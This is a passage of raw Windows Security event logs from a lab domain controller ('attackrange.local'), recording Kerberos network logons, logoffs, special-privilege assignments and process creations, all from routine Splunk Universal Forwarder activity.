(interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250190 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101E63 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250189 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101E02 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250188 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x101E02 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64406 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250187 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x101E02 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250186 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1214 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x122c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250232 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250231 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13f4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250230 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13f4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13e0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250229 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13c4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250228 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250227 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250226 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1378 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250225 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1370 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1378 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250224 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1378 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250223 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12f4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250221 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250220 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250219 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1029D3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250218 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1029D3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64414 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250217 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1029D3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250216 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x102972 - -Logon Type: 